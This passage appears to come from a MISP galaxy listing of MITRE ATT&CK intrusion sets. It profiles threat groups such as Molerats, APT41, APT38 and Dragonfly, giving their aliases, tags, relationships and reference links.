Evilnum - G0120

[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Evilnum - G0120"*

Evilnum - G0120 is also known as:

- Evilnum

Table 10799. Table References

Links
https://attack.mitre.org/groups/G0120
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

Molerats - G0021

[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Molerats - G0021"*

Molerats - G0021 is also known as:

- Molerats
- Operation Molerats
- Gaza Cybergang

View relationships graph

Molerats - G0021 has relationships with:

- similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"

Table 10800. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://attack.mitre.org/groups/G0021
https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/
https://web.archive.org/web/20201031075438/https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

admin@338 - G0018

[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-intrusion-set="admin@338 - G0018"*

admin@338 - G0018 is also known as:

- admin@338

View relationships graph

admin@338 - G0018 has relationships with:

- similar: misp-galaxy:threat-actor="TEMPER PANDA" with estimative-language:likelihood-probability="likely"

Table 10801. Table References

Links
https://attack.mitre.org/groups/G0018
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

APT19 - G0073

[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="APT19 - G0073"*

APT19 - G0073 is also known as:

- APT19
- Codoso
- C0d0so0
- Codoso Team
- Sunshop Group

Table 10802. Table References

Links
https://attack.mitre.org/groups/G0073
https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/
https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html

https://www.fireeye.com/current-threats/apt-groups.html#apt19

Agrius - G1030

[Agrius](https://attack.mitre.org/groups/G1030) is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets.(Citation: SentinelOne Agrius 2021)(Citation: CheckPoint Agrius 2023) Public reporting has linked [Agrius](https://attack.mitre.org/groups/G1030) to Iran's Ministry of Intelligence and Security (MOIS).(Citation: Microsoft Iran Cyber 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="Agrius - G1030"*

Agrius - G1030 is also known as:

- Agrius
- Pink Sandstorm
- AMERICIUM
- Agonizing Serpens
- BlackShadow

Table 10803. Table References

Links
https://assets.sentinelone.com/sentinellabs/evol-agrius
https://attack.mitre.org/groups/G1030
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/05/Iran-turning-to-cyber-enabled-influence-operations-for-greater-effect-05022023.pdf

Mofang - G0103

[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)

The tag is: *misp-galaxy:mitre-intrusion-set="Mofang - G0103"*

Mofang - G0103 is also known as:

- Mofang

Table 10804. Table References

Links
https://attack.mitre.org/groups/G0103
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

APT41 - G0096

[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="APT41 - G0096"*

APT41 - G0096 is also known as:

- APT41
- Wicked Panda
- Brass Typhoon
- BARIUM

Table 10805. Table References

Links
https://attack.mitre.org/groups/G0096
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.group-ib.com/blog/colunmtk-apt41/
https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf

LazyScripter - G0140

[LazyScripter](https://attack.mitre.org/groups/G0140) is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="LazyScripter - G0140"*

LazyScripter - G0140 is also known as:

- LazyScripter

Table 10806. Table References

Links
https://attack.mitre.org/groups/G0140
https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

Play - G1040

[Play](https://attack.mitre.org/groups/G1040) is a ransomware group that has been active since at least 2022 deploying [Playcrypt](https://attack.mitre.org/software/S1162) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://attack.mitre.org/groups/G1040) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="Play - G1040"*

Play - G1040 is also known as:

- Play

Table 10807. Table References

Links
https://attack.mitre.org/groups/G1040
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play

Sharpshooter - G0104

Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Sharpshooter - G0104"*

Sharpshooter - G0104 is also known as:

- Sharpshooter

Table 10808. Table References

Links
https://attack.mitre.org/groups/G0104
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf

Strider - G0041

[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)

The tag is: *misp-galaxy:mitre-intrusion-set="Strider - G0041"*

Strider - G0041 is also known as:

- Strider
- ProjectSauron

View relationships graph

Strider - G0041 has relationships with:

- similar: misp-galaxy:360net-threat-actor="□□□□ - APT-C-16" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"

Table 10809. Table References

Links
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://attack.mitre.org/groups/G0041
https://securelist.com/faq-the-projectsauron-apt/75533/
https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf

DarkVishnya - G0105

[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="DarkVishnya - G0105"*

DarkVishnya - G0105 is also known as:

- DarkVishnya

Table 10810. Table References

Links
https://attack.mitre.org/groups/G0105
https://securelist.com/darkvishnya/89169/

POLONIUM - G1005

[POLONIUM](https://attack.mitre.org/groups/G1005) is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess [POLONIUM](https://attack.mitre.org/groups/G1005) has coordinated their operations with multiple actors affiliated with Iran's Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.(Citation: Microsoft POLONIUM June 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="POLONIUM - G1005"*

POLONIUM - G1005 is also known as:

- POLONIUM
- Plaid Rain

Table 10811. Table References

Links
https://attack.mitre.org/groups/G1005
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/

Taidoor - G0015

[Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.

The tag is: *misp-galaxy:mitre-intrusion-set="Taidoor - G0015"*

Taidoor - G0015 is also known as:

- Taidoor

Table 10812. Table References

Links
https://attack.mitre.org/groups/G0015

FIN8 - G0061

[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group that has been active since at least January 2016, and known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemical, and financial sectors. In June 2021, security researchers detected [FIN8](https://attack.mitre.org/groups/G0061) switching from targeting point-of-sale (POS) devices to distributing a number of ransomware variants.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN8 - G0061"*

FIN8 - G0061 is also known as:

- FIN8
- Syssphinx

View relationships graph

FIN8 - G0061 has relationships with:

- similar: misp-galaxy:threat-actor="FIN8" with estimative-language:likelihood-probability="likely"

Table 10813. Table References

Links
https://attack.mitre.org/groups/G0061
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor
https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html

Rocke - G0106

[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address "rocke@live.cn" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Rocke - G0106"*

Rocke - G0106 is also known as:

- Rocke

Table 10814. Table References

Links
https://attack.mitre.org/groups/G0106
https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html

DragonOK - G0017

[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

The tag is: *misp-galaxy:mitre-intrusion-set="DragonOK - G0017"*

DragonOK - G0017 is also known as:

- DragonOK

View relationships graph

DragonOK - G0017 has relationships with:

- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"

Table 10815. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://attack.mitre.org/groups/G0017
https://web.archive.org/web/20210920193513/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

Orangeworm - G0071

[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018) Reverse engineering of [Kwampirs](https://attack.mitre.org/software/S0236), directly associated with [Orangeworm](https://attack.mitre.org/groups/G0071) activity, indicates significant functional and

development overlaps with [Shamoon](https://attack.mitre.org/software/S0140).(Citation: Cylera Kwampirs 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Orangeworm - G0071"*

Orangeworm - G0071 is also known as:

- Orangeworm

Table 10816. Table References

Links
https://attack.mitre.org/groups/G0071
https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Whitefly - G0107

[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore's largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Whitefly - G0107"*

Whitefly - G0107 is also known as:

- Whitefly

Table 10817. Table References

Links
https://attack.mitre.org/groups/G0107
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore

SideCopy - G1008

[SideCopy](https://attack.mitre.org/groups/G1008) is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. [SideCopy](https://attack.mitre.org/groups/G1008)'s name comes from its infection chain that tries to mimic that of [Sidewinder](https://attack.mitre.org/groups/G0121), a suspected Indian threat group.(Citation: MalwareBytes SideCopy Dec 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="SideCopy - G1008"*

SideCopy - G1008 is also known as:

- SideCopy

Table 10818. Table References

Links
https://attack.mitre.org/groups/G1008
https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure

Naikon - G0019

[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People's Liberation Army's (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015)

While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="Naikon - G0019"*

Naikon - G0019 is also known as:

- Naikon

View relationships graph

Naikon - G0019 has relationships with:

- similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"

Table 10819. Table References

Links
http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf
https://attack.mitre.org/groups/G0019
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf
https://securelist.com/the-naikon-apt/69953/

Silence - G0091

[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Silence - G0091"*

Silence - G0091 is also known as:

- Silence
- Whisper Spider

Table 10820. Table References

Links
https://attack.mitre.org/groups/G0091
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securelist.com/the-silence/83009/
https://web.archive.org/web/20220119133748/https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/

APT3 - G0022

[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)

The tag is: *misp-galaxy:mitre-intrusion-set="APT3 - G0022"*

APT3 - G0022 is also known as:

- APT3
- Gothic Panda
- Pirpi
- UPS Team
- Buckeye
- Threat Group-0110

- TG-0110

View relationships graph

APT3 - G0022 has relationships with:

- similar: misp-galaxy:threat-actor="APT3" with estimative-language:likelihood-probability="likely"

Table 10821. Table References

Links
http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/groups/G0022
https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html
https://www.recordedfuture.com/research/chinese-mss-behind-apt3

APT38 - G0082

[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (Citation: FireEye APT38 Oct 2018) and Banco de Chile (Citation: FireEye APT38 Oct 2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="APT38 - G0082"*

APT38 - G0082 is also known as:

- APT38
- NICKEL GLADSTONE
- BeagleBoyz
- Bluenoroff

- Stardust Chollima
- Sapphire Sleet
- COPERNICIUM

View relationships graph

APT38 - G0082 has relationships with:

- similar: misp-galaxy:360net-threat-actor="Lazarus - APT-C-26" with estimative-language:likelihood-probability="likely"

Table 10822. Table References

Links
https://attack.mitre.org/groups/G0082
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securelist.com/lazarus-under-the-hood/77908/
https://us-cert.cisa.gov/ncas/alerts/aa20-239a
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/
https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf
https://www.secureworks.com/research/threat-profiles/nickel-gladstone

TA459 - G0062

[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="TA459 - G0062"*

TA459 - G0062 is also known as:

- TA459

View relationships graph

TA459 - G0062 has relationships with:

- similar: misp-galaxy:threat-actor="TA459" with estimative-language:likelihood-probability="likely"

Table 10823. Table References

Links
https://attack.mitre.org/groups/G0062
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

MONSOON - G0042

The tag is: *misp-galaxy:mitre-intrusion-set="MONSOON - G0042"*

View relationships graph

MONSOON - G0042 has relationships with:

- similar: misp-galaxy:threat-actor="QUILTED TIGER" with estimative-language:likelihood-probability="likely"

Table 10824. Table References

Links
https://attack.mitre.org/groups/G0042

CopyKittens - G0052

[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.(Citation: ClearSky CopyKittens March 2017)(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="CopyKittens - G0052"*

CopyKittens - G0052 is also known as:

- CopyKittens

View relationships graph

CopyKittens - G0052 has relationships with:

- similar: misp-galaxy:threat-actor="CopyKittens" with estimative-language:likelihood-probability="likely"

Table 10825. Table References

Links
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/groups/G0052

https://cdn2.hubspot.net/hubfs/1903456/Whitepapers/CopyKittens.pdf

Honeybee - G0072

[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)

The tag is: *misp-galaxy:mitre-intrusion-set="Honeybee - G0072"*

Honeybee - G0072 is also known as:

- Honeybee

Table 10826. Table References

Links
https://attack.mitre.org/groups/G0072
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/

APT33 - G0064

[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="APT33 - G0064"*

APT33 - G0064 is also known as:

- APT33
- HOLMIUM
- Elfin
- Peach Sandstorm

View relationships graph

APT33 - G0064 has relationships with:

- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"

Table 10827. Table References

Links

https://attack.mitre.org/groups/G0064
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.brighttalk.com/webcast/10703/275683
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="APT34 - G0057"*

Table 10828. Table References

Links
https://attack.mitre.org/groups/G0057

Group5 - G0043

[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)

The tag is: *misp-galaxy:mitre-intrusion-set="Group5 - G0043"*

Group5 - G0043 is also known as:

- Group5

Table 10829. Table References

Links

https://attack.mitre.org/groups/G0043
https://citizenlab.ca/2016/08/group5-syria/

FIN5 - G0053

[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN5 - G0053"*

FIN5 - G0053 is also known as:

- FIN5

Table 10830. Table References

Links
https://attack.mitre.org/groups/G0053
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?
https://www.youtube.com/watch?v=fevGZs0EQu8
https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html

Dragonfly - G0035

[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Dragonfly - G0035"*

Dragonfly - G0035 is also known as:

- Dragonfly
- TEMP.Isotope
- DYMALLOY

- Berserk Bear
- TG-4192
- Crouching Yeti
- IRON LIBERTY
- Energetic Bear
- Ghost Blizzard
- BROMINE

View relationships graph

Dragonfly - G0035 has relationships with:

- similar: misp-galaxy:threat-actor="ENERGETIC BEAR" with estimative-language:likelihood-probability="likely"

Table 10831. Table References

Links
http://fortune.com/2017/09/06/hack-energy-grid-symantec/
https://attack.mitre.org/groups/G0035
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions
https://www.dragos.com/threat/dymalloy/
https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical
https://www.mandiant.com/resources/ukraine-crisis-cyber-threats
https://www.secureworks.com/research/mcmd-malware-analysis
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector
https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

APT37 - G0067

